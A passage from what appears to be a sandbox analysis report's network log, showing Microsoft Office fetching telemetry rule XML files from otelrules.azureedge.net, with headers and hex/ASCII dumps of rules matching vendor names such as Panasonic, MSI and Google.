2024-11-15 12:18:27 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.7	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:27 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:28 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:28 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 7bf77406-901e-0083-6cab-36bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121828Z-16547b76f7flf9g6hC1DFWmcx80000000ar00000000044a7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:28 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.7	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:27 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:28 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:28 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: fb68cf1d-a01e-001e-3b01-2d49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121828Z-16547b76f7ftdm8dhC1DFWs13g0000000n3g000000006vtx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:28 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.7	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:27 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:28 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:28 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: a8264c91-f01e-0052-7a79-369224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121828Z-164f84587bfs5tz9hC1DFW9a3w00000001dg000000003c3x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:28 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.7	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:27 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:28 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:28 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: aa8338a3-a01e-0021-72a2-34814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121828Z-164f84587bfwh84ghC1DFWw35400000001eg000000008nw4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:28 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.7	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:28 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:28 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:28 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 0304051c-b01e-0070-43af-361cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121828Z-1866b5c5fbb9m92fhC1DFWwu7800000001g0000000000tn7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:28 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.7	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:28 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:28 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: aaf2c80b-501e-0029-80c3-36d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121828Z-164f84587bfwh84ghC1DFWw35400000001hg000000002pyb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:29 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.7	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:28 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:28 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: d6de3b9d-801e-00a0-7812-362196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121828Z-1866b5c5fbbg6vdshC1DFW20h800000001a000000000c19n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:29 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.7	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:28 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:28 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 5a7d27ff-801e-0048-0d40-36f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121828Z-16547b76f7fj5p7mhC1DFWf8w40000000nag0000000014du x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:29 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.7	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:29 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:29 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: ec62ac56-d01e-002b-5482-3525fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121829Z-1866b5c5fbb7lvschC1DFW4rm000000001b00000000004ty x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:29 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.7	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:29 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:29 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 215f87f6-c01e-0046-2c15-2d2db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121829Z-16547b76f7f9s8x7hC1DFWywrg000000012g000000006uk5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:29 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.7	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:29 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:29 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 56737357-c01e-0014-3efa-36a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121829Z-164f84587bfbvgrghC1DFWbs7w000000013g00000000c4sf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:29 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.7	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:29 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
